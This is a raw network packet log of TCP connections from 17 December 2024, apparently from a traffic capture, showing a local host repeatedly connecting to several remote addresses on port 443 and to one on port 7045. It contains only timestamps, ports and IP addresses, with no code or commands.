Dec 17, 2024 03:52:59.800024033 CET	49908	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:59.800395012 CET	443	49908	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:59.800486088 CET	49908	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:59.801093102 CET	49917	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:59.801177025 CET	443	49917	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:59.801280022 CET	49917	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:59.801856995 CET	49917	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:59.801884890 CET	443	49917	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:00.000152111 CET	443	49907	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:00.000288963 CET	49907	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:00.003643990 CET	49907	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:00.003668070 CET	443	49907	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:00.003731012 CET	49907	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:00.004117966 CET	443	49907	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:00.004194021 CET	49907	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:00.004456043 CET	49918	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:00.004498959 CET	443	49918	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:00.004580975 CET	49918	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:00.004956961 CET	49918	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:00.004972935 CET	443	49918	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:00.132775068 CET	443	49910	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:00.132981062 CET	49910	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:00.134243965 CET	49910	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:00.134273052 CET	443	49910	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:00.134414911 CET	49910	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:00.134891033 CET	443	49910	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:00.134958029 CET	49910	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:00.135562897 CET	49919	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:00.135648012 CET	443	49919	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:00.135921001 CET	49919	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:00.136421919 CET	49919	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:00.136502028 CET	443	49919	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:00.604341984 CET	49920	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:00.724606991 CET	7045	49920	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:00.724877119 CET	49920	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:00.724962950 CET	49920	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:00.802105904 CET	7045	49909	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:00.802238941 CET	49909	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:00.802330017 CET	49909	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:00.845237017 CET	7045	49920	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:00.916640997 CET	443	49916	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:00.916898966 CET	49916	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:00.917829037 CET	49916	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:00.917829037 CET	49916	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:00.917887926 CET	443	49916	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:00.918065071 CET	443	49916	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:00.918126106 CET	49916	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:00.918801069 CET	49921	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:00.918884993 CET	443	49921	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:00.919177055 CET	49921	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:00.919408083 CET	49921	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:00.919461012 CET	443	49921	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:00.922360897 CET	7045	49909	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:01.021079063 CET	443	49917	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:01.021467924 CET	49917	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:01.022053957 CET	49917	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:01.022054911 CET	49917	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:01.022111893 CET	443	49917	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:01.022568941 CET	443	49917	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:01.022650003 CET	49917	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:01.022743940 CET	49922	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:01.022828102 CET	443	49922	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:01.022945881 CET	49922	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:01.023849964 CET	49922	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:01.023931026 CET	443	49922	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:01.356575012 CET	443	49919	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:01.356926918 CET	49919	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:01.358063936 CET	49919	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:01.358064890 CET	49919	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:01.358150005 CET	443	49919	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:01.358741999 CET	443	49919	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:01.358941078 CET	49919	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:01.359281063 CET	49928	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:01.359395027 CET	443	49928	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:01.359500885 CET	49928	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:01.360069990 CET	49928	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:01.360107899 CET	443	49928	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:01.538043976 CET	443	49918	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:01.538134098 CET	49918	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:01.539613008 CET	49918	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:01.539627075 CET	443	49918	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:01.539701939 CET	49918	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:01.540056944 CET	443	49918	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:01.540119886 CET	49918	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:01.540600061 CET	49929	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:01.540630102 CET	443	49929	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:01.540690899 CET	49929	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:01.541322947 CET	49929	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:01.541341066 CET	443	49929	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:02.247920036 CET	443	49922	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:02.248064995 CET	49922	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:02.249281883 CET	49922	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:02.249334097 CET	443	49922	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:02.249526024 CET	49922	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:02.249936104 CET	443	49922	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:02.250143051 CET	49922	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:02.250507116 CET	49930	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:02.250593901 CET	443	49930	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:02.250685930 CET	49930	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:02.251215935 CET	49930	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:02.251249075 CET	443	49930	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:02.298367023 CET	443	49921	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:02.298624992 CET	49921	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:02.300165892 CET	49921	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:02.300167084 CET	49921	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:02.300223112 CET	443	49921	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:02.300400972 CET	443	49921	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:02.300594091 CET	49921	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:02.300808907 CET	49931	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:02.300890923 CET	443	49931	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:02.300981998 CET	49931	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:02.301976919 CET	49931	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:02.302057981 CET	443	49931	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:02.752214909 CET	443	49929	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:02.752293110 CET	49929	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:02.753734112 CET	49929	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:02.753746986 CET	443	49929	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:02.754015923 CET	49929	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:02.754101038 CET	443	49929	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:02.754159927 CET	49929	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:02.755081892 CET	49932	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:02.755134106 CET	443	49932	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:02.755198956 CET	49932	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:02.755772114 CET	49932	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:02.755784035 CET	443	49932	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:02.893865108 CET	443	49928	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:02.894114971 CET	49928	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:02.896595955 CET	7045	49920	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:02.896692991 CET	49920	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:02.923173904 CET	49928	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:02.923244953 CET	443	49928	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:02.923748970 CET	49928	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:02.923894882 CET	443	49928	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:02.923966885 CET	49928	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:02.926112890 CET	49933	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:02.926198959 CET	443	49933	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:02.926284075 CET	49933	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:02.935137987 CET	49933	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:02.935216904 CET	443	49933	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:02.942567110 CET	49920	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:03.062546968 CET	7045	49920	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:03.462965965 CET	443	49930	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:03.463124990 CET	49930	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:03.464365005 CET	49930	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:03.464392900 CET	443	49930	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:03.464548111 CET	49930	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:03.464955091 CET	443	49930	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:03.465039968 CET	49930	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:03.465715885 CET	49939	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:03.465769053 CET	443	49939	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:03.465881109 CET	49939	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:03.466422081 CET	49939	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:03.466449976 CET	443	49939	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:03.677947998 CET	443	49931	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:03.678164005 CET	49931	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:03.679167986 CET	49931	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:03.679167986 CET	49931	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:03.679225922 CET	443	49931	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:03.679440975 CET	443	49931	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:03.679696083 CET	49931	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:03.680295944 CET	49940	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:03.680335999 CET	443	49940	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:03.680402994 CET	49940	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:03.680968046 CET	49940	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:03.680978060 CET	443	49940	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:03.999089956 CET	443	49932	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:03.999205112 CET	49932	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:04.000454903 CET	49932	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:04.000463963 CET	443	49932	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:04.000596046 CET	49932	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:04.000802994 CET	443	49932	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:04.000859022 CET	49932	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:04.001550913 CET	49941	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:04.001576900 CET	443	49941	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:04.001641035 CET	49941	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:04.002067089 CET	49941	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:04.002077103 CET	443	49941	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:04.481169939 CET	443	49933	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:04.481408119 CET	49933	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:04.490159035 CET	49933	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:04.490211964 CET	443	49933	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:04.490293026 CET	49933	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:04.490956068 CET	443	49933	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:04.491024017 CET	49933	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:04.491216898 CET	49942	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:04.491267920 CET	443	49942	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:04.491359949 CET	49942	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:04.491899014 CET	49942	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:04.491925001 CET	443	49942	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:04.712013006 CET	443	49939	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:04.712214947 CET	49939	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:04.712933064 CET	49939	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:04.712961912 CET	443	49939	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:04.713012934 CET	49939	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:04.713573933 CET	443	49939	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:04.713644981 CET	49939	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:04.942142010 CET	49943	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:04.942173004 CET	443	49943	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:04.942240000 CET	49943	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:04.942776918 CET	49943	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:04.942785978 CET	443	49943	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:05.058919907 CET	443	49940	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:05.059010983 CET	49940	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:05.059941053 CET	49940	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:05.059946060 CET	443	49940	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:05.060034037 CET	49940	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:05.060137033 CET	443	49940	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:05.060187101 CET	49940	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:05.061113119 CET	49944	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:05.061198950 CET	443	49944	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:05.061476946 CET	49944	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:05.061737061 CET	49944	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:05.061789989 CET	443	49944	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:05.531272888 CET	443	49941	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:05.531346083 CET	49941	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:05.532872915 CET	49941	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:05.532879114 CET	443	49941	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:05.532977104 CET	49941	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:05.533339024 CET	443	49941	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:05.533401012 CET	49941	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:05.534027100 CET	49950	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:05.534092903 CET	443	49950	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:05.534173965 CET	49950	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:05.534615993 CET	49950	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:05.534646988 CET	443	49950	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:05.704056978 CET	443	49942	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:05.704442978 CET	49942	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:05.705346107 CET	49942	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:05.705398083 CET	443	49942	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:05.705463886 CET	49942	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:05.706012011 CET	443	49942	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:05.706089973 CET	49942	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:05.706522942 CET	49951	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:05.706609011 CET	443	49951	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:05.706696033 CET	49951	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:05.707246065 CET	49951	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:05.707278967 CET	443	49951	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:05.837567091 CET	49952	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:05.957875013 CET	7045	49952	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:05.958050966 CET	49952	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:05.958344936 CET	49952	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:06.078486919 CET	7045	49952	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:06.153690100 CET	443	49943	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:06.153862953 CET	49943	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:06.154898882 CET	49943	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:06.154906034 CET	443	49943	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:06.155073881 CET	49943	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:06.155533075 CET	443	49943	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:06.155601025 CET	49943	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:06.156260014 CET	49953	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:06.156377077 CET	443	49953	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:06.156470060 CET	49953	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:06.157182932 CET	49953	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:06.157263994 CET	443	49953	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:06.437936068 CET	443	49944	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:06.438241959 CET	49944	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:06.439264059 CET	49944	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:06.439338923 CET	443	49944	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:06.439430952 CET	49944	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:06.439563036 CET	443	49944	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:06.439625025 CET	49944	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:06.667776108 CET	49954	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:06.667862892 CET	443	49954	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:06.668227911 CET	49954	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:06.668458939 CET	49954	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:06.668509007 CET	443	49954	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:06.918430090 CET	443	49951	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:06.918544054 CET	49951	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:06.919878960 CET	49951	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:06.919909000 CET	443	49951	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:06.919977903 CET	49951	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:06.920290947 CET	443	49951	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:06.920362949 CET	49951	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:06.921009064 CET	49955	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:06.921091080 CET	443	49955	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:06.921188116 CET	49955	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:06.921586037 CET	49955	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:06.921619892 CET	443	49955	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:07.066118956 CET	443	49950	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:07.066431046 CET	49950	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:07.067301989 CET	49950	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:07.067301989 CET	49950	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:07.067384005 CET	443	49950	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:07.067914963 CET	443	49950	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:07.067989111 CET	49950	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:07.068013906 CET	49956	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:07.068097115 CET	443	49956	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:07.068196058 CET	49956	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:07.068581104 CET	49956	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:07.068614960 CET	443	49956	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:07.383860111 CET	443	49953	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:07.384252071 CET	49953	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:07.387382984 CET	49953	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:07.387382984 CET	49953	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:07.387439013 CET	443	49953	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:07.387914896 CET	443	49953	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:07.387998104 CET	49953	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:07.388349056 CET	49957	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:07.388396978 CET	443	49957	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:07.388478994 CET	49957	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:07.389029026 CET	49957	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:07.389045000 CET	443	49957	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:07.746668100 CET	7045	49952	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:07.746994972 CET	49952	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:07.746994972 CET	49952	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:07.867553949 CET	7045	49952	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:08.047247887 CET	443	49954	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:08.047414064 CET	49954	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:08.048643112 CET	49954	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:08.048696041 CET	443	49954	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:08.048769951 CET	49954	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:08.048914909 CET	443	49954	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:08.049128056 CET	49954	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:08.049832106 CET	49963	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:08.049885988 CET	443	49963	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:08.049966097 CET	49963	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:08.050503016 CET	49963	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:08.050530910 CET	443	49963	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:08.070599079 CET	49964	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:08.132879019 CET	443	49955	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:08.133205891 CET	49955	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:08.133996964 CET	49955	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:08.134027004 CET	443	49955	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:08.134150982 CET	49955	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:08.134630919 CET	443	49955	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:08.134704113 CET	49955	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:08.135040045 CET	49965	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:08.135124922 CET	443	49965	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:08.135205030 CET	49965	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:08.135670900 CET	49965	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:08.135706902 CET	443	49965	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:08.190994024 CET	7045	49964	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:08.191431046 CET	49964	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:08.191515923 CET	49964	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:08.311990976 CET	7045	49964	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:08.601326942 CET	443	49957	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:08.601417065 CET	49957	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:08.602677107 CET	49957	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:08.602689028 CET	443	49957	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:08.602777958 CET	49957	443	192.168.2.4	199.232.192.209
